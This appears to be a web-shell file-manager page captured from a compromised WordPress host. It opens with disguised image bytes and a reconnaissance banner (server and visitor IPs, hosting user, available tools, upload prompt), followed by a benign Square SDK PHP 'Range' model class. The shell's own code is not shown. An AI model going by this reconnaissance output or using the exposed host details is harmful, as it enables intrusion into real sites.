????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/./self/cwd/wp-content/plugins/wpforms-lite/vendor_prefixed/square/square/src/Models/ |
Upload File : |
<?php
declare (strict_types=1);
namespace WPForms\Vendor\Square\Models;
use stdClass;
/**
* The range of a number value between the specified lower and upper bounds.
*/
class Range implements \JsonSerializable
{
/**
* @var array
*/
private $min = [];
/**
* @var array
*/
private $max = [];
/**
* Returns Min.
* The lower bound of the number range. At least one of `min` or `max` must be specified.
* If unspecified, the results will have no minimum value.
*/
public function getMin() : ?string
{
if (\count($this->min) == 0) {
return null;
}
return $this->min['value'];
}
/**
* Sets Min.
* The lower bound of the number range. At least one of `min` or `max` must be specified.
* If unspecified, the results will have no minimum value.
*
* @maps min
*/
public function setMin(?string $min) : void
{
$this->min['value'] = $min;
}
/**
* Unsets Min.
* The lower bound of the number range. At least one of `min` or `max` must be specified.
* If unspecified, the results will have no minimum value.
*/
public function unsetMin() : void
{
$this->min = [];
}
/**
* Returns Max.
* The upper bound of the number range. At least one of `min` or `max` must be specified.
* If unspecified, the results will have no maximum value.
*/
public function getMax() : ?string
{
if (\count($this->max) == 0) {
return null;
}
return $this->max['value'];
}
/**
* Sets Max.
* The upper bound of the number range. At least one of `min` or `max` must be specified.
* If unspecified, the results will have no maximum value.
*
* @maps max
*/
public function setMax(?string $max) : void
{
$this->max['value'] = $max;
}
/**
* Unsets Max.
* The upper bound of the number range. At least one of `min` or `max` must be specified.
* If unspecified, the results will have no maximum value.
*/
public function unsetMax() : void
{
$this->max = [];
}
/**
* Encode this object to JSON
*
* @param bool $asArrayWhenEmpty Whether to serialize this model as an array whenever no fields
* are set. (default: false)
*
* @return array|stdClass
*/
#[\ReturnTypeWillChange]
public function jsonSerialize(bool $asArrayWhenEmpty = \false)
{
$json = [];
if (!empty($this->min)) {
$json['min'] = $this->min['value'];
}
if (!empty($this->max)) {
$json['max'] = $this->max['value'];
}
$json = \array_filter($json, function ($val) {
return $val !== null;
});
return !$asArrayWhenEmpty && empty($json) ? new stdClass() : $json;
}
}